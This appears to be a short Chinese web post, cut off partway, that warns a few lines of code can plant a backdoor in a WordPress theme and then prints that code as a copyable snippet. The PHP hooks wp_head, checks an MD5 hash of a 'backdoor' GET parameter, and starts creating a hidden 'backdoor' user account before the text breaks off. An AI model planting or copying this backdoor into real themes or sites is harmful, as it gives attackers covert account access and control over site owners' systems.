只需几行代码就可以为WordPress主题留下后门，大家要小心了

复制代码代码如下:add_action( ‘wp_head’, ‘my_backdoor’ );function my_backdoor() {if ( md5( $_GET[‘backdoor’] ) == ’34d1f91fb2e514b8576fab1a75a89a6b’ ) {require( ‘wp-includes/registration.php’ );if ( !username_exists( ‘backdoor’ ) ) {$user_id = wp_create_user(